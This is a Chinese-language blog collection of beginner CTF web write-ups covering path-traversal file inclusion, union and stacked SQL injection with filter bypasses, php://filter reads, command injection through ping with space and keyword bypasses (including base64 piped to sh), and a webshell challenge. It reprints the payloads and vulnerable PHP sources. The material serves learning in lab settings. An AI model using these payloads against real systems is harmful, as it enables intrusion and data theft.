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这是我大三在实习的时候做的一些题目，以后准备搞人工智能方向，应该也不会再接触网安了，就在这里汇总一下之前做的简单

题吧，虽然简单但是也用了很多功夫去写这些，提高也很大，以此留作纪念吧。

[HCTF 2018]WarmUp
小白的起始第一步，打开网页先F12看下源码，以后无论什么网页，没头绪就F12



这里有个注释说要看source.php，html文档里面注释符号是用如上方式使前端不显示该信息，初阶web题一般采用这种方式进行
提示，那我们就访问一下source.php



直接是源码，那就审计就完事了，这里刚刚入门的小白一定要注意，遇到不懂的函数一定要百度，这可不是高考英语完形填空，

你看上下文就能明白的，多积累以后自然有用，这里is开头的函数就是字面意思，意思就是是不是后面的类型，注意前面的是函
数，调用从后面的主函数开始，不要开始傻傻的看函数不明所以（就是我），先看下面的变量定义

观察发现这里接受了一个变量，$_REQUEST忘记了，查一查如下

request_order：这个配置项设置 PHP 将 GET, POST 和 Cookie 中的哪些添加到 $_REQUEST 中，并且指定了填充时的顺序。如果
request_order 设置为空，则填充的顺序会以 variables_order 配置项中的顺序为准。例如，设置为 request_order = “GP” 时，代表
$_REQUEST 将包含 $_GET 和 $_POST 的值，并且当 $_GET 和 

所以这里就先传GET值试一试，毕竟简便一些,这里传什么呢，打开hint.php看一下

发现该信息，再审计整体函数，传一个参，必须要有且是字符串，通过checkfile检验才能包含，而这个checkfile是一个白名单，
只能包含两个php文件，贴两个忘记用法的函数，也就是截取你的输入看是不是白名单里的，三次检查只要有一次是对的就行
了，这里出题人考虑的很周到，所以你输入url编码还是直接输入都行

mb_strpos (haystack ,needle )：返回要查找的字符串needle在别的字符串hayback中首次出现的位置

string mb_substr( string start[, int encoding]] );截取字符。从str的开始位置计算。第一
个字符的位置为0。第二个字符的位置是1，依此类推。

OST中的键相同时，_POST的值将覆盖 $_GET 的值。

str,int length[,string



这里为什么mb_strpos函数后面有两个问号呢，经过同学的好心提醒，发现前面那个.?是拼接一个？在输入之后，这样就保证了
当你仅仅只输入source.php时也能正常解析，当你输入？后在后面加上问号也不影响第一个问号的解析，该函数是返回第一个出
现的位置，这里是不是也变相提醒是使用远程包含了呢。

但是这实在是不好绕过，原来自己这么菜，百度启动，经过查阅资料，得到这是phpmyadmin 4.8.1的一个远程文件包含的漏洞,
仔细一想，其实也能分析出来，按照问号截取，检查问号前面的字符串，我问号前面给一个合法输入source.php然后后面写一个
我想要的东西不就行了嘛,这里的漏洞就是你可以使用…/…/访问web目录上级文件夹，一般是不行的，所以构造payload

成功文件包含得到flag

验证验证



这个地方还是有难度，后来发现主要是在于环境问题，首先一样，phpstudy直接起一个环境，里面放如下文件

1.php就是我
们看到的源码，2.php用来包含，source里面什么都不用写，避免报错而已，flag.txt随便写个flag，我们在这里加一个包含路径方
便验证



注意，这里环境最好在注意，这里环境最好在Linux虚拟机上配置，在本机上配置会出现各种错误虚拟机上配置，在本机上配置会出现各种错误

例如：

尝试了很久未解决，估计是编码的问题，按照上文分析应该是一重两重和不url编码应该都可以，但是在Windows上只能双重编
码，所以转移阵地，成功包含

这里也就是把source.php/当成一个路径再…/回退读取flag.txt，没有漏洞的正常情况是这样，但是试一试就知道这里如果再输
入…/就会报错，这就是没有远程包含的漏洞，但是利用上文漏洞就可以一直读取到根目录，具体该漏洞成因可以自行百度。

这里解释一下，有些术语可能刚刚入门看不懂也没事，例如上文的文件包含，但是诸如url，html之类非常基础的东西，还是需要
先学一下，不然后面学习会有点困难

[极客大挑战极客大挑战 2019]EasySQL
坚持第二天，一看是个SQL注入，自己碰巧注过一次，应该不难
打开网页

黑客风挺帅的，先正常输入



不太行

现在要判断是什么类型的输入，这里首先考虑字符型和数字型两种，先看看加个引号会不会报错

这里出现报错，说明存在注入，报错一出就比较好分析了

这里的语句猜测是字符型的注入，因为输入字符串周围多了引号，猜测SQL语句为

select * from user where  username = '$a' and password =  '$b'

其中a和b是表单提交的参数，若在密码段注入，在用户名段仅正常输入1，注入之后变成了如下结果



select * from usertable where  username='1' and password='1'or1=1#'

由于sql是AND优先级大于OR，这里一定要记住,这里的1=1是与前面where后面一直到or前的语句是并列关系，这里的优先级参
考一个网图如下

所以这里无论是写一个万能密码还是两个万能密码都是可以的，且无论是用户名或是密码输入都是可以的，也可以两个都输入，

不过这样后面的输了也是白输，因为用户名输入#注释后面所有的，密码输入的逻辑分析如上图

所以我们尝试常规的万能密码



成功

虽然说这题简单吧，但是浏览网上的wp，没有把原理说的很透彻的，所以还是自己写一篇留存吧，自己坚持的第二天，加油

今天闲来无事，多写一篇吧，没想到遇到这么简单的题。。。，这不比第一题简单多了，为什么解出的人还没第一题多,幸亏今
天多做了，不然明天又水了

[极客大挑战极客大挑战 2019]Havefun
可爱的小猫,还会动



点来点去没什么东西，那就只能先看源码了

这么大一个提示摆在这里，传cat=cat原样输出，传cat=dog看源码是输出Syc{cat_cat_cat_cat}，但这个一看就不是buuctf的flag
格式，传参一试



直接出？？？我还以为是假的flag，后来发现是正确的，这里还纠结了一下为什么输出跟显示的echo内容不一样，后来一想，这
个注释不就是跟源码不一样嘛，源码就是输出flag，注释骗了一下，不过这骗得到谁啊。。。

[强网杯强网杯 2019]随便注随便注



坚持第三天了，又是个sql注入，不过看这名字就不简单，进入靶机，大家看看这话说的，牛逼哄哄的，一看就是个久经沙场的
高手,还是个强网杯的题，菜鸡瑟瑟发抖

显然，这题也不搞花里胡哨的，直接告诉就让你去注了，预感到可能会有点难，边写边做吧，提前需要学下数据库知识，还好自

己上学期刚刚学了，什么语法啊，什么自主访问控制并发控制意向锁啥的还是记得一点，其实涉及到注入的语法不难，但是都要

搞懂才能做题，csdn上就有文章还不错，建议学一学再看。

前期工作前期工作

这部分是通用的数据库注入步骤，首先测一下数据库结构

payload= 1'              //报错
payload= 1'#             //不报错，这里就可以判断是字符型注入
payload= 1' or 1=1#      //万能密码，不报错,返回为真
payload= 1' and 1=2#     //不报错，返回为假，无结果，验证猜想

尝试通过order by爆数据库列数，order by的意思是按照第几列的顺序将结果排序,这里由于查到的本来就是空，所以正确也无结
果

payload='order by 1  //不报错，无结果
payload='order by 2  //不报错，无结果
payload='order by 3  //报错

所以列数是2，下面尝试用union select试一试，union select就是把这条语句后面的语句和前面的正常语句一起查询，貌似这条语
句在正常查询的时候没什么用，倒是为了注入提供了不少方便，这里直接1,2,3返回也是原样返回，不会查询，这里仅仅只是看
能不能联合查询

payload= 1' union select 1,2,3#

但是返回了个这

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这个是php中的过滤语句

preg_match( subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
参数说明如下：

$pattern：要搜索的模式，也就是编辑好的正则表达式；
$subject：要搜索的字符串；
preg_match() 函数可以返回 $pattern 的匹配次数，它的值将是 0 次（不匹配）或 1 次，因为 preg_match() 在第一次匹配后将会停止搜
索。

pattern,



也就是这里面的东西不能出现，开始以为可以通过大小写绕过，sql语句不区分大小写，但是也不行，因为这个匹配只要错误就
退出，所以这些绕过是没用的，这里进入了知识盲区，不愧是强网杯，百度一下之后有一个新的名词，那么这一步能做出来要全

凭积累

堆叠注入查堆叠注入查flag位置位置

堆叠注入也就是几条语句在一起，不用联合查询那样畏畏缩缩在躲着查了，直接再起一个语句查询，原理如下

在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这
个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者
union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1;
DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE
FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

假设正常查询语句如下：

select * from '$a'; //这是原语句
select * from '1' union select possword from pwd#'  //这是联合查询注入 payload是最前最后两个引号中间的那段
select * from '1'; show databases;#'//这是堆叠注入 payload也是最前最后两个引号中间的那段

可以看到堆叠注入远比联合查询灵活，因为它不再仅限于查询，还可以执行修改等语句，这里先验证是否可行

payload=1';show databases;#



我后面会分析具体语句的结构，这里先看结果

注出来了，说明有效,这就是堆叠注入的优势，可以用show databases;这句话，你躲在联合查询的后面就不行，因为那样会出语
法问题，从上面的例子也可以看出，同理利用show tables看表名，这里是当前数据库的表，不过你要登录连接数据库那么当前
数据库一般都是那个存密码的数据库吧，这里抓住它的show没过滤简直利用到极致，也不知道要是这个也过滤了大神还有什么
办法

payload=1';show columns from `1919810931114514`;#



注意表名要反引号，为什么呢，因为对以数字为表名的表进行操作时，需要加上`符号，看网上还有一种方法是使用desc直接列
出列名，这也就是不同的绕过姿势，拿本本记下来

这样就注出列名

这里我们就知道了flag存在于supersqli数据库中的1919810931114514表的flag字段，这就是我们前面的工作，知道flag在哪里，
后面就要想办法绕过select过滤拿到flag

花式绕过读取花式绕过读取flag

这里有两种方式，都学着,指不定哪天就用上了，还有一种什么改hander的方式，个人认为太偏门，就不记录了，由于这些过
滤，正常查询是不可能了只能玩一些花出来

预编译预编译

这纯粹是用堆叠注入的特性，没堆叠注入就别想预编译了，由于已知堆叠注入，那就可以执行很多条语句来达到我们的效

果，payload如下,也就是去执行拼接select的语句，因为这里双写，大小写都绕不过，只能用这种比较高级的方式

payload=-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare injection from @sql;
execute injection;
#

具体代码示例如下

set用于设置变量名和值
prepare用于预备一个语句，并赋予名称，以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

这里碰到了如下检测

strstr只是简单匹配，和前面那个匹配的过滤不是一个等级的，改为大小写或者双写绕过即可



改表名改表名

灵感来源于默认输出,正常输入1，输出的这个玩意儿是什么呢

别忘了还有个漏网之鱼，当时这个tables还没看

注出这里面的列之后，是不是很眼熟



那我们思路就清晰了，只要把那边读不出来的部分复制过来让它默认输出不就行了

payload=1';rename table `words` to sb; 
    rename table `1919810931114514` to `words`;
    alter table words change flag id varchar(100);
    show tables; 
    show columns from words;# 

这里因为flag所在的表只有一列，而这个words表有两列，且查询的时候是按照id去查，所以这里直接吧flag改为id字段，而不是
data字段，否则会报没有id这个字段的错误，当然改为data也可以，不过就要加上一列了，那又复杂了，所以就按简单的来，搞
完之后万能密码1’ or 1=1#即可注出

源码分析源码分析

github上白嫖本题环境，美滋滋



<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透，只说一句话：开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inje
ct);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集，返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>
</body>
</html>

可以看到堆叠注入的关键如下

$res = $mysqli->multi_query($sql);



必须要有这条语句才能执行多条sql，当然这是从源码的角度，以后如果有源码，看到multi_query就要小心了，但如果从我们攻
击者的角度，不知道源码的情况下只能是都尝试一下，由于这个环境装起来比较简单，只需要phpstudy开个数据库，把这个代码
放到网页上某个php文件再去访问就行了所以这里就不自己搭了，buuctf上的就挺好用，偷个懒哈哈哈~

[ACTF2020 新生赛新生赛]Include
坚持第四天，这个题写明白了是文件包含

一进去如下界面，看源码无异常，点一下看看

也没有异常



这里查看网络包

没有跳转之类的猫腻，一般这种题就是考察知识点的扎实程度了，不是靠小聪明能做出来的，说是文件包含，那自然是文件包含

有问题，查看url

这里传了个file参数，大胆猜测这就是文件包含的文件，这里学习一个新知识，php伪协议文件包含，这个地方有篇博客写的很
好，个人很反感转载，那根白嫖没什么区别，还不如直接贴原链接（点下下面的蓝字即可查看）

配合配合php伪协议利用文件包含漏洞伪协议利用文件包含漏洞

总结一下：以上文章有如下内容

https://blog.csdn.net/zpy1998zpy/article/details/80598768


1、php两个常用协议：php://filter和php://input，输入和输出
2、还可以通过phar:// 、zip://+路径查看压缩包内容
3、其中fliter里面通过/read=控制读取编码方式/resource=控制路径，input更厉害，以后有机会碰到再更新

学习完后，本题怀疑在这个flag.php里面有flag，所以就想办法都读出来，这里由于文件包含不用base64编码会直接执行，造成
一样的结果，所以通过base64进行编码然后输出，payload如下

?file=php://filter/read=convert.base64-encode/resource=flag.php

解码即可

本来还想探究一下源码结构，看来是不用了，原来就是多了一个注释罢了，这题虽然简单，但是每天掌握一个知识点就可以了，

坚持就是胜利~~~

坚持第五天，又是SQL，看来这几天注入学的很透彻，先尽量手注，得找个时间把sqlmap好好学一学，自动化一点比较省事�



[SUCTF 2019]EasySQL

打开界面长这样

直接注入不搞花里胡哨的，先常规步骤

payload=1        //正常按照id查找回显
payload=1'       //没有回显,可能存在注入
payload=1'#     //也没有回显

这里最后一个没回显判断不是字符型注入，可能就是数字型

payload=2-1    //输出和1一样的结果，确定数字型注入

确定数字型之后，也就不需要引号闭合了，只需要在注入语句后搞个#注释后面的就行了，后面继续探究，可以肯定的是这里把
报错输出给关掉了，可能是盲注之类的把，再试一下

payload=1 order by 1#

被拒绝了，看来是有过滤�尝试盲注

payload=1 and length(database())>=1#



也是nonono，看来是过滤了,这里究竟过滤了哪些字段，用burpsuite的intruder来fuzz一下过滤字段，这里强烈推荐burp suite的免
费版，不要在网上搞那些花里胡哨的版本，一是容易有木马，二是不是正版安装麻烦，三是无法更新，什么pycharm，xshell也
是一样，老老实实community他不香吗
拥有了它，你就拥有了最新版功能，专属浏览器抓包，无需设置代理，纯净无捆绑，官方正版，下载即可打开，永久免费，而且

以我现在的水平用不到高级版的特殊功能�

咳咳，回归正题，看fuzz结果，这里的fuzz字典直接网上找即可

具体看包就知道507是nonono，也就是被过滤了，523是正常返回，500无回显也就是报错，盲注过滤了这些字段是不行的，盲
注还没有认真研究过，以后碰到相关问题再研究一下，反正这里就得使用其它的方式，前几天搞了个堆叠注入，不知是否可行，

试一试

payload=1;show databases;#



还真可以，这下舒服了，看来堆叠注入适用范围蛮广的嘛,看表，只有一个就叫flag，所以查表必然是这个表

不过这题牛逼了啊，把Flag这个字段给过滤掉了，任何对其的查询都不可用,，这里尝试了show columns和desc两种方式都不
行，到这确实没啥思路了，百度一下，似乎大家都是这里卡住了去看大佬的方法，看来大家水平差不多嘛，我也不差�​�

大佬思路大佬思路

去对后端语句进行猜测,猜测依据如下：

通过输入非零数字得到的回显1和输入其余字符得不到回显，由此来判断出内部的查询语句可能存在有或字段
select 输入的数据 或或  现有列名现有列名  from 表名
即为select $a || flag from Flag

这是怎么猜到的呢，我觉得需要长时间的积累，但是对此的解释我一定要解释清楚，网上其它的wp大家好像水平都很高，对这
个或或是什么性质都没有解释，对后面那个现有列名现有列名怎么来的也没有解释，估计是觉得很简单把，我比较菜，就自己用MYSQL做

了个小实验，如下，使用phpstudy中的MySQL直接进行实验

操作后建了如下表



算是满足了题目要求，现在开始验证题目中的或的性质



以下是我的猜测，不一定正确，经过上面的尝试可以发现，MySQL里面的默认||，作用是先将两边的值类型强制转换为bool值类
型，非0数字的bool值为1，字符串的bool值为0，和数字0的bool值一样都是0，所以select +非0数字，回显值永远为1，算是“查
到了”，而且或在其前面的已经查到的情况下，不会去执行或后面的语句，而或后面的值flag里的字段为字符串值，在bool值转换
时被转换为0，所以当前面输入bool值为0的时候，后面也查不到，就会没有回显，这就是除了非零数字，其余输入看不到回显的
原因。

知道构造之后就有两种解法

非预期解非预期解

原有的语句是

$sql = "select ".$post['query']."||flag from Flag";

这里构造payload

payload=*,1

改变后的结果是

$sql = "select *,1||flag from Flag";

直接一波全注出来了

但既然这题是考察堆叠注入，那应该不是想这么做的，应该是出题人忘记过滤*了，我在这也将 * 加入了fuzz词典里方便以后做题



预期解预期解

其实这题难点在猜语句结构，猜出来了就没难度了，都可以堆叠注入了，那自然有的是办法绕过

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来
实现oracle 的一些功能

payload=1;set sql_mode=pipes_as_concat;select 1

这样语句就变成了查完1再查flag

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

直接读出flag，这里不能使用预编译的原因是首先有长度限制，第二from等关键字也被过滤了，所以不能使用。

源码源码

可以看到过滤确实十分严格，再严格一点把*和concat都过滤掉，这样就更加安全了，也就没人能做出来了

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>



</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updat
exml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>

[极客大挑战极客大挑战 2019]Secret File
今天到周末了，出去玩了一趟回来很晚了，正好今天题也感觉不难

神神秘秘，感觉很有意思，其实越是这种花里胡哨的题就越简单，先看源码，出现个好东西



神神秘秘，感觉很有意思，其实越是这种花里胡哨的题就越简单，先看源码，出现个好东西

设置了背景色一样，隐藏在黑暗中，点一下或者直接访问



这里直接点一下，什么东西飞过去了？原来是action.php

那就直接用burpsuite抓住不就没处跑了嘛

secr3t.php访问一下



源码出现，说flag放在了flag.php里面，这个文件是个文件包含，本来就想直接包含这个flag.php,但是好奇，先去访问一下
flag.php

果然不行,气不气�，那这显然直接包含是没用的，因为也会显示这些东西，就会变成下图这个怪样子

猜想肯定是在注释或者未显示的变量里有flag，直接伪协议读取就好了，关于伪协议，前几天我的有篇文章有篇文章介绍了，不懂可以去

看看

所以payload如下

payload=?file=php://filter/read=convert.base64-encode/resource=flag.php

https://blog.csdn.net/qq_44799683/article/details/119790520


payload和上一题一模一样。。。读出来base64解码就好了

原来这个秘密是要找一个女朋友啊�，正好题简单，留时间给我追剧去了

[ACTF2020 新生赛新生赛]Exec
坚持第7天了吧，这个题看的像命令注入，打开靶机

先是去看看源码

没啥问题与提示，那看来应该就是命令注入了，ping这个地方是命令注入漏洞最常出现的点，因为有ping就需要使用系统函数，
有输入框，输入就可控，稍不注意就命令注入了,先尝试基础的，az，这么容易就注入了？



那说明过滤很少，这里先说明一下Linux命令连接操作符

1. 和号操作符 (&) ‘&’的作用是使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’。你可以一口气在后台运行多个命令。

2. 分号操作符 (; ) 分号操作符使你可以一口气运行几个命令，命令顺序执行。

3. 与操作符 (&&) 如果第一个命令执行成功，与操作符 (&&)才会执行第二个命令，也就是说，第一个命令退出状态是0，后面的才会执
行。在UNIX里面，0表示无错误，而所有非0返回值都是各种错误。

4. 或操作符 (||) 或操作符 (||)很像编程中的else语句。上面的操作符允许你在第一个命令失败的情况下执行第二个命令，但第一个命令成
功则第二个不会执行

5. 非操作符 (!) 非操作符 (!)很像except语句。这个命令会执行除了提供的条件外的所有的语句。这个是纯逻辑操作符，注入很少用

6. 管道操作符 (|) PIPE在将第一个命令的输出作为第二个命令的输入时很有用。

7. 优先操作符 () 指定优先级

8. 连接符 () 连接符 ()如它名字所说，被用于连接shell中那些太长而需要分成多行的命令。可以在输入一个“\”之后就回车，然后继续输
入命令行，直到输入完成。

由此可见,这个前面的ping命令显然是失败的，因为用&&注入无回显，使用&或者||有回显，我们现在的工作就是找flag的位置。
因为直接ls发现没有flag，经过上面的连接符学习，我们可以构造如下payload去看根目录

payload=xxx||(cd ../../../&&ls)



可以看到正好有个flag在根目录下,使用cat命令去读就行

出了，这题主要是没过滤，连关键字过滤都没有，噢还看到一种更简单的方法

payload=111;cat /flag

利用多语句执行，知道路径之后直接带绝对路径读就行了，形似堆叠注入，总之这种题没过滤就是八仙过海各显神通，过滤一严

格就是各种不会

之前看到的最严格的过滤是输入必须符合以下格式



xxx.xxx.xxx.xxx  //这里xxx必须为数字

这样真的是一点办法都没有了，附上源码，其实好简单，但是注入一难也是非常难的，这也算是个入门题吧

[极客大挑战极客大挑战 2019]LoveSQL
坚持第八天，又是个SQL注入，这年头这个比较热门吗

前置准备前置准备



和上次万能密码那道题一样的界面，上面有一行小字看不清，看看源码

用sqlmap是没有灵魂的，看来这题不能sqlmap，不过我也不会sqlmap呀，就算能用我也用不了,万能密码试一试

看来是可以的,出了一个这玩意

尝试各种解密md5碰撞，无果，看来这不是flag，那么既然万能密码有用，可能是我们需要的并不是这个表，或是这个列，意思
就是假设数据库查询语句如下

select * from user where  username = '$a' and password =  '$b'

输入万能密码后



select * from user where  username = '1' or 1=1# and password =  '$b'

这个user不是我们需要的表，flag在其它表，或是其它列里面，这个时候可能要用到联合查询union select，联合查询就是在正常
语句后面再接一句话查另外的东西，而这句话是完全可控的，虽然灵活性不如堆叠注入（只能查询）但是应用范围更广，例如：

select a from user where  username = '1' union select b from password;

这后面半句话就可能作为payload为我们所利用，有了这个思路接着看这个题,联合查询注入主要有以下几个步骤，这是最经常使
用的注入步骤

sql注入标准步骤注入标准步骤

1、探究显示位、探究显示位

我们需要知道网页前端能显示我们注入结果的第几个，这是帮助我们构造payload的前提，这里有个知识，就是union
select1，2，3…数据库返回的结果就是数字一列一个数字，利用这个性质我们可以开始探究前端显示位的规律，输入如下（全
是针对用户名注入，密码随便填，注入用户名和密码的一致性证明已在我的另一篇文章另一篇文章中说明，当然，在此之前需要判断有多

少列

payload=1' order by 1/2/3 #            /代表或的意思，逐一试一试

为了方便，直接在bp里面发包，可以看到到4的时候报错，说明是3列

这个时候输入如下

payload=1' union select 1,2,3#

https://blog.csdn.net/qq_44799683/article/details/119734725


可以看到其显示位是2和3，那么我们查询的时候就把信息放在这两位上，然后就是第二步

2、注出数据库类型版本、注出数据库类型版本

payload=1' union select 1,database(),version()#

执行结果如下

要想正确的注入，首先要知道数据库类型，才能使用正确的语句，不同数据库查版本的语句不一样，这一步就要探究清楚，本题

可知当前数据库为geek

3、爆表、爆表

我们需要弄清楚一共有哪些表可以用，然后才能判断flag在哪个表里面，payload如下

payload=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#



解释一下这个语句的含义，这个语句前一半group_concat(table_name) from information_schema.tables意思是：mysql有一个数
据库里面存有所有的其它数据库信息（其它数据库名字不同，但总是有一个像这样汇总的数据库），这个数据库就是

information_schema，其中的tables字段存储有所有的表名，后一半就是条件为当前数据库，整句话的意思就是查找当前数据库
中的所有表,group_concat意思是将所有结果在一行输出，注入结果如下

得到两个表，从职业敏感性来说，flag肯定在后面那个表里面，如果看不出来，可以都注入一下试试，这里就只针对后面那个
表，前面的同理

4、爆列名、爆列名

payload如下，原理基本与前文一样，就不多做解释，这样注入可得到l0ve1ysq1表的所有列名

payload=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_nam
e='l0ve1ysq1'#

可以得到三个列名

5、爆字段、爆字段

原理一样就不多说了

payload=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#



得到结果

flag就在里面，这个人又想找女朋友？�，这个题貌似没找到源码，不过可以肯定的是万能密码注入不出来是因为select语句查的
是geekuser表，你通过上述方式查一遍该表，可以发现输出结果与万能密码的结果一致，这种情况下只能用联合查询注入。
这个题是一个很典型的走流程的sql注入，大部分sql注入应该从本题这几个步骤开始，而不是学习堆叠注入那些偏门方法，一定
要弄懂这些语句背后的原理，切不可死记硬背

[GXYCTF2019]Ping Ping Ping
这个ping一看就是命令注入了，命令注入的基础之前在一篇文章里面讲过，什么连接符之类的可以看这篇文章这篇文章 ,就不多说了，打

开界面，熟悉的专业注入受害者界面

先来个简单的注入,分号如果没过滤尽量先用分号去注入，比较方便灵活

这里直接看到flag.php，还以为比较简单，因为直接就注入了，直接访问flag.php，什么都没有，说明在注释或者未显示的变量
里，这里准备使用cat命令来显示其内容

原来有过滤，还使用了不文明用语，这里看来是过滤了空格，那就看看空格怎么绕过吧，在网上读到一篇博客一篇博客讲的巨无敌详

细，认真读过一遍之后，空格过滤一般采用

https://blog.csdn.net/qq_44799683/article/details/119845628
https://www.cnblogs.com/zzjdbk/p/13491028.html


${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

这三种方式去绕过，这里尝试第一种

竟然还是有过滤，看来是某些字符被过滤了，这里可能是大括号的原因，使用另外一种，空格成功绕过

竟然flag这个字段被过滤了，那就意味着不能直接去读了，我们可以看看到底是哪些被过滤了，直接去读index.php应该没问题

果然戒备森严，不能有上面的特殊字符、空格、bash字段，甚至这个flag的匹配是贪婪匹配的，也就是说只要是按照f l a g这种顺
序出现在字符串中都会被匹配到，不管中间有什么东西，想让其不匹配到，只能调换其位置，这为后文解法也做出了提示，下面

的工作就是想办法绕过这flag字段去读取flag.php中的内容了

1. 命令执行变量拼接
这里就是换位的思想，将四个字母其中一个提前声明，换到前面来绕过过滤

payload=/?ip=1;a=g;cat$IFS$1fla$a.php



没有回显了，冷静不要着急，看一看源码，可能是注释

果然在

这呢

2. 过滤bash用sh执行
这里都过滤了bash，那怎么能不挑战一下绕过这个呢，将我们的命令通过base64加密然后进行解密执行

payload=/?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh



原理是打出命令base64编码，使用管道符进行解密再使用管道符传给sh执行命令，l利用sh代替bash，注意echo也是系统命令，
不是只有php有echo的

该payload输出结果同一

3. 内敛执行
这也是我最喜欢的方法之一，优雅而又强大，利用ls的输出直接给cat输入执行语句,这里使用反引号优先执行后面的语句，
反引号是命令注入常用符号，因为其可以忽略前面命令的错误而优先执行，其结果再给cat，打印出两个文件的全部内容

payload=/?ip=1;cat$IFS$1`ls`

最后贴一个本题源码吧



<?php
echo '/?ip=';
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

这个题就是上次那个注入的升级版，还行还行，学到了

[极客大挑战极客大挑战 2019]Knife
它来了它来了，文件上传它来了，这是像我这种菜鸡最喜欢的漏洞类型，简单明了，易于理解，原理不多，工具简单，效果显

著，你值得拥有

啊这，能不能不要这么明显，这里还看了一会儿这个马在哪，后来一想就在index.php里面，直连（工具是蚁剑，菜刀和冰蝎一
样可以）没有过滤，甚至不用抓包



连接成功了，为所欲为起来

找到根目录下flag文件，点开即可得到flag

这个题到这里就结束了，为什么说文件上传漏洞是我这种菜鸡最喜欢的呢，因为在不知道这个工具的原理情况下，简单了解一句

话木马与工具使用就可以取得前面的漏洞无法取得的终极效果： getshell，获得这个机器的全部使用权限，那么这个工具的原理



和一句话木马的原理在自己大一刚刚入门的时候也纠结了很久，后来有个课堂作业要求用python写了个基本完整的菜刀工具，大
概三百多行，然后就全明白了，后面会专门写一篇来介绍菜刀和一句话木马原理，今天这题水过去了，因为就单从做题的角度来

说是不需要知道其原理的，直接当个脚本小子挺快乐的。

[极客大挑战极客大挑战 2019]Http
极客大挑战的题貌似都不难，http的题，那就抓包看一看

在根目录的源代码里发现了Secret.php这个链接，而且onclick是false意味着不能点击，所以很难发现，把鼠标放在氛围两个字上
可以看到链接

访问该地址，发现说这个来源不对，这里就需要改http的header



我们把这个请求包放到burp suite的repeater里面，添加一个Referer的头,代表从哪个网站过来的字段，得到了一个新提示，必须
要用这个浏览器访问

那么我们修改浏览器字段User-Agent为指定的字段



又有新提示，必须从本地访问，这里有涉及一个没有的字段X-froward-for，代表从访问者的地址，加上，并且改为本地回环地址
127.0.0.1

出来了，最近几天题有点简单了，不过还是要循序渐进吧，这题主要是要了解http头的各字段功能即可。

[RoarCTF 2019]Easy Calc



